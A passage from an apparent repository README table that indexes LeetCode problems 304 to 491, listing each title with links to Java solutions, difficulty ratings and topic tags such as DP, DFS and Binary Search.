[Solution](../master/src/main/java/com/fishercoder/solutions/_491.java) | | Medium | Backtracking, DFS | 490 |[The Maze](https://leetcode.com/problems/the-maze/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_490.java) | | Medium | BFS | 488 |[Zuma Game](https://leetcode.com/problems/zuma-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_488.java) | | Hard | DFS, Backtracking | 487 |[Max Consecutive Ones II](https://leetcode.com/problems/max-consecutive-ones-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_487.java) | [:tv:](https://youtu.be/nKhteIRZ2Ok) | Medium | Array, Sliding Window | 486 |[Predict the Winner](https://leetcode.com/problems/predict-the-winner/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_486.java) | | Medium | DP | 485 |[Max Consecutive Ones](https://leetcode.com/problems/max-consecutive-ones/)| [Java](../master/src/main/java/com/fishercoder/solutions/_485.java) [Javascript](../master/javascript/_485.js) | [:tv:](https://youtu.be/nKhteIRZ2Ok) | Easy | Array | 484 |[Find Permutation](https://leetcode.com/problems/find-permutation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_484.java) | | Medium | Array, String, Greedy | 483 |[Smallest Good Base](https://leetcode.com/problems/smallest-good-base/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_483.java) | | Hard | Binary Search, Math | 482 |[License Key Formatting](https://leetcode.com/problems/license-key-formatting/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_482.java) | | Medium | | 481 |[Magical String](https://leetcode.com/problems/magical-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_481.java) || Medium | | 480 |[Sliding Window Median](https://leetcode.com/problems/sliding-window-median/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_480.java) | | Hard | Heap | 479 |[Largest Palindrome Product](https://leetcode.com/problems/largest-palindrome-product/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_479.java) | | Easy | | 477 |[Total Hamming Distance](https://leetcode.com/problems/total-hamming-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_477.java) | | Medium | Bit Manipulation | 478 |[Generate Random Point in a Circle](https://leetcode.com/problems/generate-random-point-in-a-circle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_478.java) | | Medium | Math, Random, Rejection Sampling | 476 |[Number Complement](https://leetcode.com/problems/number-complement/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_476.java) | | Easy | Bit Manipulation | 475 |[Heaters](https://leetcode.com/problems/heaters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_475.java) | | Easy | Array Binary Search | 474 |[Ones and Zeroes](https://leetcode.com/problems/ones-and-zeroes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_474.java) | | Medium | DP | 473 |[Matchsticks to Square](https://leetcode.com/problems/matchsticks-to-square/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_473.java) | | Medium | Backtracking, DFS | 472 |[Concatenated Words](https://leetcode.com/problems/concatenated-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_472.java) | | Hard | Trie, DP, DFS | 471 |[Encode String with Shortest Length](https://leetcode.com/problems/encode-string-with-shortest-length/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_471.java) | | Hard | DP | 469 |[Convex Polygon](https://leetcode.com/problems/convex-polygon/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_469.java) | | Medium | Math | 468 |[Validate IP Address](https://leetcode.com/problems/validate-ip-address/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_468.java) | | Medium | String | 467 |[Unique Substrings in Wraparound String](https://leetcode.com/problems/unique-substrings-in-wraparound-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_467.java) || Medium | DP | 466 |[Count The Repetitions](https://leetcode.com/problems/count-the-repetitions/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_466.java) | | Hard | DP | 465 |[Optimal Account Balancing](https://leetcode.com/problems/optimal-account-balancing/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_465.java) | | Hard | DP | 464 |[Can I Win](https://leetcode.com/problems/can-i-win/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_464.java) | | Medium | DP | 463 |[Island Perimeter](https://leetcode.com/problems/island-perimeter/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_463.java) | | Easy | | 462 |[Minimum Moves to Equal Array Elements II](https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_462.java) || Medium | | 461 |[Hamming Distance](https://leetcode.com/problems/hamming-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_461.java), [C++](../master/cpp/_461.cpp) | | Easy | | 460 |[LFU Cache](https://leetcode.com/problems/lfu-cache/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_460.java) | | Hard | Design, LinkedHashMap, HashMap | 459 |[Repeated Substring Pattern](https://leetcode.com/problems/repeated-substring-pattern/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_459.java) | | Easy | String, KMP | 458 |[Poor Pigs](https://leetcode.com/problems/poor-pigs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_458.java) | | Easy | Math | 457 |[Circular Array Loop](https://leetcode.com/problems/circular-array-loop/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_457.java) | | Medium | | 456 |[132 Pattern](https://leetcode.com/problems/132-pattern/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_456.java) | | Medium | Stack | 455 |[Assign Cookies](https://leetcode.com/problems/assign-cookies/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_455.java) | | Easy | | 454 |[4Sum II](https://leetcode.com/problems/4sum-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_454.java) | | Medium | HashMap | 453 |[Minimum Moves to Equal Array Elements](https://leetcode.com/problems/minimum-moves-to-equal-array-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_453.java) | | Easy | | 452 |[Minimum Number of Arrows to Burst Balloons](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_452.java) | | Medium | Array, Greedy | 451 |[Sort Characters By Frequency](https://leetcode.com/problems/sort-characters-by-frequency/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_451.java) | | Medium | HashMap | 450 |[Delete Node in a BST](https://leetcode.com/problems/delete-node-in-a-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_450.java) | | Medium | Tree, Recursion | 449 |[Serialize and Deserialize BST](https://leetcode.com/problems/serialize-and-deserialize-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_449.java) | | Medium | BFS | 448 |[Find All Numbers Disappeared in an Array](https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_448.java) | | Easy | Array, HashMap | 447 |[Number of Boomerangs](https://leetcode.com/problems/number-of-boomerangs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_447.java) | | Easy | HashMap | 446 |[Arithmetic Slices II - Subsequence](https://leetcode.com/problems/arithmetic-slices-ii-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_446.java) | | Hard | DP | 445 |[Add Two Numbers II](https://leetcode.com/problems/add-two-numbers-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_445.java) | | Medium | Stack, LinkedList | 444 |[Sequence Reconstruction](https://leetcode.com/problems/sequence-reconstruction/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_444.java) | | Medium | Topological Sort, Graph | 443 |[String Compression](https://leetcode.com/problems/string-compression/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_443.java) | | Easy | | 442 |[Find All Duplicates in an Array](https://leetcode.com/problems/find-all-duplicates-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_442.java) | | Medium | Array | 441 |[Arranging Coins](https://leetcode.com/problems/arrange-coins/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_441.java) | | Easy | | 440 |[K-th Smallest in Lexicographical Order](https://leetcode.com/problems/k-th-smallest-in-lexicographical-order/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_440.java) | | Hard | | 439 |[Ternary Expression Parser](https://leetcode.com/problems/ternary-expression-parser/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_439.java) | | Medium | Stack | 438 |[Find All Anagrams in a String](https://leetcode.com/problems/find-all-anagrams-in-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_438.java) | | Easy | Sliding Window | 437 |[Path Sum III](https://leetcode.com/problems/path-sum-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_437.java) | | Easy | DFS, recursion | 436 |[Find Right Interval](https://leetcode.com/problems/find-right-interval/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_436.java) | | Medium | Binary Search | 435 |[Non-overlapping Intervals](https://leetcode.com/problems/non-overlapping-intervals/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_435.java) | | Medium | Greedy | 434 |[Number of Segments in a String](https://leetcode.com/problems/number-of-segments-in-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_434.java) | | Easy | | 432 |[All O`one Data Structure](https://leetcode.com/problems/all-oone-data-structure/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_432.java) | | Hard | Design | 430 |[Flatten a Multilevel Doubly Linked List](https://leetcode.com/problems/flatten-a-multilevel-doubly-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_430.java) | | Medium | LinkedList, DFS, Doubly-Linked List | 429 |[N-ary Tree Level Order Traversal](https://leetcode.com/problems/n-ary-tree-level-order-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_429.java) | | Easy | BFS, Tree | 425 |[Word Squares](https://leetcode.com/problems/word-squares/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_425.java) | | Hard | Trie, Backtracking, Recursion | 424 |[Longest Repeating Character Replacement](https://leetcode.com/problems/longest-repeating-character-replacement/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_424.java) | | Medium | Sliding Window | 423 |[Reconstruct Original Digits from English](https://leetcode.com/problems/reconstruct-original-digits-from-english/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_423.java) | | Medium | Math | 422 |[Valid Word Square](https://leetcode.com/problems/valid-word-square/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_422.java) | | Easy | | 421 |[Maximum XOR of Two Numbers in an Array](https://leetcode.com/problems/maximum-xor-of-two-numbers-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_421.java) | | Medium | Bit Manipulation, Trie | 420 |[Strong Password Checker](https://leetcode.com/problems/strong-password-checker/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_420.java) | | Hard | | 419 |[Battleships in a Board](https://leetcode.com/problems/battleships-in-a-board/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_419.java) | | Medium | DFS | 418 |[Sentence Screen Fitting](https://leetcode.com/problems/sentence-screen-fitting/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_418.java) | | Medium | | 417 |[Pacific Atlantic Water Flow](https://leetcode.com/problems/pacific-atlantic-water-flow/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_417.java) | | Medium | DFS | 416 |[Partition Equal Subset Sum](https://leetcode.com/problems/partition-equal-subset-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_416.java), [C++](../master/cpp/_416.cpp) | | Medium | DP | 415 |[Add Strings](https://leetcode.com/problems/add-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_415.java) | | Easy | | 414 |[Third Maximum Number](https://leetcode.com/problems/third-maximum-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_414.java) | | Easy | | 413 |[Arithmetic Slices](https://leetcode.com/problems/arithmetic-slices/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_413.java) | | Medium | DP | 412 |[Fizz Buzz](https://leetcode.com/problems/fizz-buzz/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_412.java) | | Easy | | 411 |[Minimum Unique Word Abbreviation](https://leetcode.com/problems/minimum-unique-word-abbreviation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_411.java) | | Hard | NP-Hard, Backtracking, Trie, Recursion | 410 |[Split Array Largest Sum](https://leetcode.com/problems/split-array-largest-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_410.java) | | Hard | Binary Search, DP | 409 |[Longest Palindrome](https://leetcode.com/problems/longest-palindrome/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_409.java) | | Easy | | 408 |[Valid Word Abbreviation](https://leetcode.com/problems/valid-word-abbreviation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_408.java) | | Easy | | 407 |[Trapping Rain Water II](https://leetcode.com/problems/trapping-rain-water-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_407.java) | | Hard | Heap | 406 |[Queue Reconstruction by Height](https://leetcode.com/problems/queue-reconstruction-by-height/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_406.java) | | Medium | LinkedList, PriorityQueue | 405 |[Convert a Number to Hexadecimal](https://leetcode.com/problems/convert-a-number-to-hexadecimal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_405.java) | | Easy | | 404 |[Sum of Left Leaves](https://leetcode.com/problems/sum-of-left-leaves/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_404.java) | | Easy | | 403 |[Frog Jump](https://leetcode.com/problems/frog-jump/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_403.java) | | Hard | DP | 402 |[Remove K Digits](https://leetcode.com/problems/remove-k-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_402.java) | | Medium | Greedy, Stack | 401 |[Binary Watch](https://leetcode.com/problems/binary-watch/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_401.java) | | Easy | | 400 |[Nth Digit](https://leetcode.com/problems/nth-digit/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_400.java) | | Easy | | 399 |[Evaluate Division](https://leetcode.com/problems/evaluate-division/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_399.java) | | Medium | Graph, DFS, Backtracking | 398 |[Random Pick Index](https://leetcode.com/problems/random-pick-index/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_398.java) | | Medium | Reservoir Sampling | 397 |[Integer Replacement](https://leetcode.com/problems/integer-replacement/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_397.java) | | Easy | BFS | 396 |[Rotate Function](https://leetcode.com/problems/rotate-function/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_396.java) | | Easy | | 395 |[Longest Substring with At Least K Repeating Characters](https://leetcode.com/problems/longest-substring-with-at-least-k-repeating-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_395.java) | | Medium | Recursion | 394 |[Decode String](https://leetcode.com/problems/decode-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_394.java) | | Medium | Stack Depth-first-search | 393 |[UTF-8 Validation](https://leetcode.com/problems/utf-8-validation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_393.java) | | Medium | Bit Manipulation | 392 |[Is Subsequence](https://leetcode.com/problems/is-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_392.java) | | Medium | Array, String | 391 |[Perfect Rectangle](https://leetcode.com/problems/perfect-rectangle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_391.java) | | Hard | | 390 |[Elimination Game](https://leetcode.com/problems/elimination-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_390.java) | | Medium | | 389 |[Find the Difference](https://leetcode.com/problems/find-the-difference/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_389.java) | || Easy | | 388 |[Longest Absolute File Path](https://leetcode.com/problems/longest-absolute-file-path/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_388.java) | | Medium | Stack | 387 |[First Unique Character in a String](https://leetcode.com/problems/first-unique-character-in-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_387.java) | | Easy | HashMap | 386 |[Lexicographical Numbers](https://leetcode.com/problems/lexicographical-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_386.java) | | Medium | | 385 |[Mini Parser](https://leetcode.com/problems/mini-parser/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_385.java) | | Medium | Stack | 384 |[Shuffle an Array](https://leetcode.com/problems/shuffle-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_384.java) | | Medium | | 383 |[Ransom Note](https://leetcode.com/problems/ransom-note/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_383.java) | | Easy | String | 382 |[Linked List Random Node](https://leetcode.com/problems/linked-list-random-node/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_382.java) | | Medium | Reservoir Sampling | 381 |[Insert Delete GetRandom O(1) - Duplicates allowed](https://leetcode.com/problems/insert-delete-getrandom-o1-duplicates-allowed/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_381.java) || Hard | | 380 |[Insert Delete GetRandom O(1)](https://leetcode.com/problems/insert-delete-getrandom-o1/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_380.java) | | Medium | Design, HashMap | 379 |[Design Phone Directory](https://leetcode.com/problems/design-phone-directory/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_379.java) | | Medium | | 378 |[Kth Smallest Element in a Sorted Matrix](https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_378.java) | | Medium | Binary Search | 377 |[Combination Sum IV](https://leetcode.com/problems/combination-sum-iv/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_377.java) | | Medium | DP | 376 |[Wiggle Subsequence](https://leetcode.com/problems/wiggle-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_376.java) | | Medium | DP, Greedy | 375 |[Guess Number Higher or Lower II](https://leetcode.com/problems/guess-number-higher-or-lower-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_375.java) | | Medium | DP | 374 |[Guess Number Higher or Lower](https://leetcode.com/problems/guess-number-higher-or-lower/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_374.java) | | Easy | Binary Search | 373 |[Find K Pairs with Smallest Sums](https://leetcode.com/problems/find-k-pairs-with-smallest-sums/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_373.java) | | Medium | Heap | 372 |[Super Pow](https://leetcode.com/problems/super-pow/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_372.java) | | Medium | Math | 371 |[Sum of Two Integers](https://leetcode.com/problems/sum-of-two-integers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_371.java) | | Easy | | 370 |[Range Addition](https://leetcode.com/problems/range-addition/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_370.java) | | Medium | Array | 369 |[Plus One Linked List](https://leetcode.com/problems/plus-one-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_369.java) | | Medium | Linked List | 368 |[Largest Divisible Subset](https://leetcode.com/problems/largest-divisible-subset/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_368.java) | | Medium | DP | 367 |[Valid Perfect Square](https://leetcode.com/problems/valid-perfect-square/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_367.java) | | Medium | | 366 |[Find Leaves of Binary Tree](https://leetcode.com/problems/find-leaves-of-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_366.java) | | Medium | DFS | 365 |[Water and Jug Problem](https://leetcode.com/problems/water-and-jug-problem/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_365.java) | | Medium | Math | 364 |[Nested List Weight Sum II](https://leetcode.com/problems/nested-list-weight-sum-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_364.java) | | Medium | DFS | 363 |[Max Sum of Rectangle No Larger Than K](https://leetcode.com/problems/max-sum-of-rectangle-no-larger-than-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_363.java) | | Hard | DP | 362 |[Design Hit Counter](https://leetcode.com/problems/design-hit-counter/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_362.java) | | Medium | Design | 361 |[Bomb Enemy](https://leetcode.com/problems/bomb-enemy/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_361.java) | | Medium | | 360 |[Sort Transformed Array](https://leetcode.com/problems/sort-transformed-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_360.java) | | Medium | Two Pointers, Math | 359 |[Logger Rate Limiter](https://leetcode.com/problems/logger-rate-limiter/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_359.java) | | Easy | HashMap | 358 |[Rearrange String k Distance Apart](https://leetcode.com/problems/rearrange-string-k-distance-apart/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_358.java) | | Hard | HashMap, Heap, Greedy | 357 |[Count Numbers with Unique Digits](https://leetcode.com/problems/count-numbers-with-unique-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_357.java) | | Medium | DP, Math | 356 |[Line Reflection](https://leetcode.com/problems/line-reflection/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_356.java) | | Medium | HashSet | 355 |[Design Twitter](https://leetcode.com/problems/design-twitter/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_355.java) | | Medium | Design, HashMap, Heap | 354 |[Russian Doll Envelopes](https://leetcode.com/problems/russian-doll-envelopes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_354.java) | | Hard | DP, Binary Search | 353 |[Design Snake Game](https://leetcode.com/problems/design-snake-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_353.java) | | Medium | | 352 |[Data Stream as Disjoint Intervals](https://leetcode.com/problems/data-stream-as-disjoint-intervals/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_352.java) | | Hard | TreeMap | 351 |[Android Unlock Patterns](https://leetcode.com/problems/android-unlock-patterns/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_351.java) | | Medium | | 350 |[Intersection of Two Arrays II](https://leetcode.com/problems/intersection-of-two-arrays-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_350.java) | [:tv:](https://youtu.be/lKuK69-hMcc) | Easy | HashMap, Binary Search | 349 |[Intersection of Two Arrays](https://leetcode.com/problems/intersection-of-two-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_349.java) | [:tv:](https://youtu.be/XxStWmfXJRs) | Easy | Two Pointers, Binary Search | 348 |[Design Tic-Tac-Toe](https://leetcode.com/problems/design-tic-tac-toe/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_348.java) | | Medium | Design | 347 |[Top K Frequent Elements](https://leetcode.com/problems/top-k-frequent-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_347.java) | | Medium | HashTable, Heap, Bucket Sort | 346 |[Moving Average from Data Stream](https://leetcode.com/problems/moving-average-from-data-stream/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_346.java) | | Easy | Queue | 345 |[Reverse Vowels of a String](https://leetcode.com/problems/reverse-vowels-of-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_345.java) | | Easy | String | 344 |[Reverse String](https://leetcode.com/problems/reverse-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_344.java) | [:tv:](https://youtu.be/P68JPXtFyYg) | Easy | String | 343 |[Integer Break](https://leetcode.com/problems/integer-break/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_343.java) | | Medium | Math | 342 |[Power of Four](https://leetcode.com/problems/power-of-four/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_342.java) | | Easy | Math | 341 |[Flatten Nested List Iterator](https://leetcode.com/problems/flatten-nested-list-iterator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_341.java) | | Medium | Stack | 340 |[Longest Substring with At Most K Distinct Characters](https://leetcode.com/problems/longest-substring-with-at-most-k-distinct-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_340.java) | | Hard | Sliding Window | 339 |[Nested List Weight Sum](https://leetcode.com/problems/nested-list-weight-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_339.java) | | Easy | DFS | 338 |[Counting Bits](https://leetcode.com/problems/counting-bits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_338.java) | | Medium | | 337 |[House Robber III](https://leetcode.com/problems/house-robber-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_337.java) | | Medium | DP | 336 |[Palindrome Pairs](https://leetcode.com/problems/palindrome-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_336.java) | | Hard | | 335 |[Self Crossing](https://leetcode.com/problems/self-crossing/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_335.java) | | Hard | Math | 334 |[Increasing Triplet Subsequence](https://leetcode.com/problems/increasing-triplet-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_334.java) | | Medium | | 333 |[Largest BST Subtree](https://leetcode.com/problems/largest-bst-subtree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_333.java) | | Medium | Tree | 332 |[Reconstruct Itinerary](https://leetcode.com/problems/reconstruct-itinerary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_332.java) | | Medium | Graph, DFS | 331 |[Verify Preorder Serialization of a Binary Tree](https://leetcode.com/problems/verify-preorder-serialization-of-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_331.java) | | Medium | Stack | 330 |[Patching Array](https://leetcode.com/problems/patching-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_330.java) | | Hard | Greedy | 329 |[Longest Increasing Path in a Matrix](https://leetcode.com/problems/longest-increasing-path-in-a-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_329.java) | | Hard | DFS, DP | 328 |[Odd Even Linked List](https://leetcode.com/problems/odd-even-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_328.java) | | Medium | Linked List | 327 |[Count of Range Sum](https://leetcode.com/problems/count-of-range-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_327.java) | | Hard | BST, Divide and Conquer | 326 |[Power of Three](https://leetcode.com/problems/power-of-three/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_326.java) | | Easy | Math | 325 |[Maximum Size Subarray Sum Equals k](https://leetcode.com/problems/maximum-size-subarray-sum-equals-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_325.java) | | Medium | HashTable | 324 |[Wiggle Sort II](https://leetcode.com/problems/wiggle-sort-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_324.java) | | Medium | Sort | 323 |[Number of Connected Components in an Undirected Graph](https://leetcode.com/problems/number-of-connected-components-in-an-undirected-graph/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_323.java) | | Medium | | 322 |[Coin Change](https://leetcode.com/problems/coin-change/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_322.java) | | Medium | DP | 321 |[Create Maximum Number](https://leetcode.com/problems/create-maximum-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_321.java) | | Hard | 320 |[Generalized Abbreviation](https://leetcode.com/problems/generalized-abbreviation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_320.java) | | Medium | Backtracking, Bit Manipulation | 319 |[Bulb Switcher](https://leetcode.com/problems/bulb-switcher/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_319.java) | | Medium | Brainteaser | 318 |[Maximum Product of Word Lengths](https://leetcode.com/problems/maximum-product-of-word-lengths/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_318.java) | | Medium | | 317 |[Shortest Distance from All Buildings](https://leetcode.com/problems/shortest-distance-from-all-buildings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_317.java) | | Hard | | 316 |[Remove Duplicate Letters](https://leetcode.com/problems/remove-duplicate-letters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_316.java) | | Hard | Stack, Recursion, Greedy | 315 |[Count of Smaller Numbers After Self](https://leetcode.com/problems/count-of-smaller-numbers-after-self/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_315.java) | | Hard | Tree | 314 |[Binary Tree Vertical Order Traversal](https://leetcode.com/problems/binary-tree-vertical-order-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_314.java) | | Medium | HashMap, BFS | 313 |[Super Ugly Number](https://leetcode.com/problems/super-ugly-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_313.java) | | Medium | | 312 |[Burst Balloons](https://leetcode.com/problems/burst-balloons/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_312.java) | | Hard | DP | 311 |[Sparse Matrix Multiplication](https://leetcode.com/problems/sparse-matrix-multiplication/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_311.java) | | Medium | | 310 |[Minimum Height Trees](https://leetcode.com/problems/minimum-height-trees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_310.java) | | Medium | | 309 |[Best Time to Buy and Sell Stock with Cooldown](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-cooldown/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_309.java) | | Medium | DP | 308 |[Range Sum Query 2D - Mutable](https://leetcode.com/problems/range-sum-query-2d-mutable/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_308.java) | | Hard | Tree | 307 |[Range Sum Query - Mutable](https://leetcode.com/problems/range-sum-query-mutable/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_307.java) | | Medium | Tree | 306 |[Additive Number](https://leetcode.com/problems/additive-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_306.java) | | Medium | | 305 |[Number of Islands II](https://leetcode.com/problems/number-of-islands-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_305.java) | | Hard | Union Find | 304 |[Range Sum Query 2D - 